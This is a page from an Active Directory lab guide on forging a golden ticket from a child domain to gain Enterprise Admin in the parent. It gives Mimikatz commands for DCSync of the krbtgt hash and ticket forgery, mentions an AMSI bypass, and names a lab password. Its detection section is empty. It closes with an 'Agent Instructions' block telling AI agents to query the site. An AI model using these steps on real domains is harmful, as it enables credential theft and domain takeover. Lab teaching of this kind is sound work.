# Krbtgt hash

## Attacking

### How it works

Once you gain Domain Admin privileges within the child domain its possible to get Enterprise Admin in the parent domain by generating a golden ticket in the child domain with the SID of the Enterprise Admin group.

### Tools

* [MimiKatz](https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1)
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

### Executing the attack

The attack is executed from the perspective of already gaining domain admin privileges. This is done in the unconstrained delegation section:

{% content-ref url="/pages/mACzmdzGG8oWuvr3Qlrf" %}
[Unconstrained Delegation](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/delegation-attacks/unconstrained-delegation.md)
{% endcontent-ref %}

1. For easy execution, login on `WS01` as the `Administrator` user with the password `Welcome01!`.
2. Start PowerShell as Administrator and load a amsi bypass and MimiKatz into memory.

<div align="left"><img src="/files/DGZdPAdqdZF8B6YFH3kL" alt=""></div>

To execute the attack we need a couple bits of information:

* The hash of the krbtgt user.
* The SID of the Enterprise Admins group.
* The SID of the child domain.

3\. Execute a DCsync with MimiKatz and only retrieve the krbtgt hash:

```
Invoke-MimiKatz -Command '"lsadump::dcsync /user:amsterdam\krbtgt /domain:amsterdam.bank.local"'
```

<div align="left"><img src="/files/FGoGYWbVP8Jf6ucx2meO" alt=""></div>

4\. Retrieve the SID of the enterprise Admins group, using PowerView:

```
Get-DomainGroup "Enterprise Admins" -Domain bank.local | Select-Object samaccountname, objectsid
```

<div align="left"><img src="/files/Q6jjAX2e1QsvAU7WEFZf" alt=""></div>

5\. Retrieve the domain SID from the child domain, using PowerView:

```
Get-DomainSID
```

<div align="left"><img src="/files/DxTbQpf58UiII3n3AWjp" alt=""></div>

6\. Create a golden ticket with MimiKatz and inject it into the current session:

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<FQDN CHILD DOMAIN> /sid:<CHILD DOMAIN SID> /krbtgt:<HASH> /sids:<SIDS OF ENTERPRISE ADMIN GROUP OF TARGET> /ptt"'
```

<div align="left"><img src="/files/r81GVZjbuZC6uHg76Yx5" alt=""></div>

7\. The ticket injected successfully, now we can dir the c$ directory to check if our user has read/write access to the C disk:

<div align="left"><img src="/files/w1hUWddMSvjcR9EydDQg" alt=""></div>

## Defending

### Detection

## References

{% embed url="<https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/hopping-domains-and-forests/child-to-parent-domain/page-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.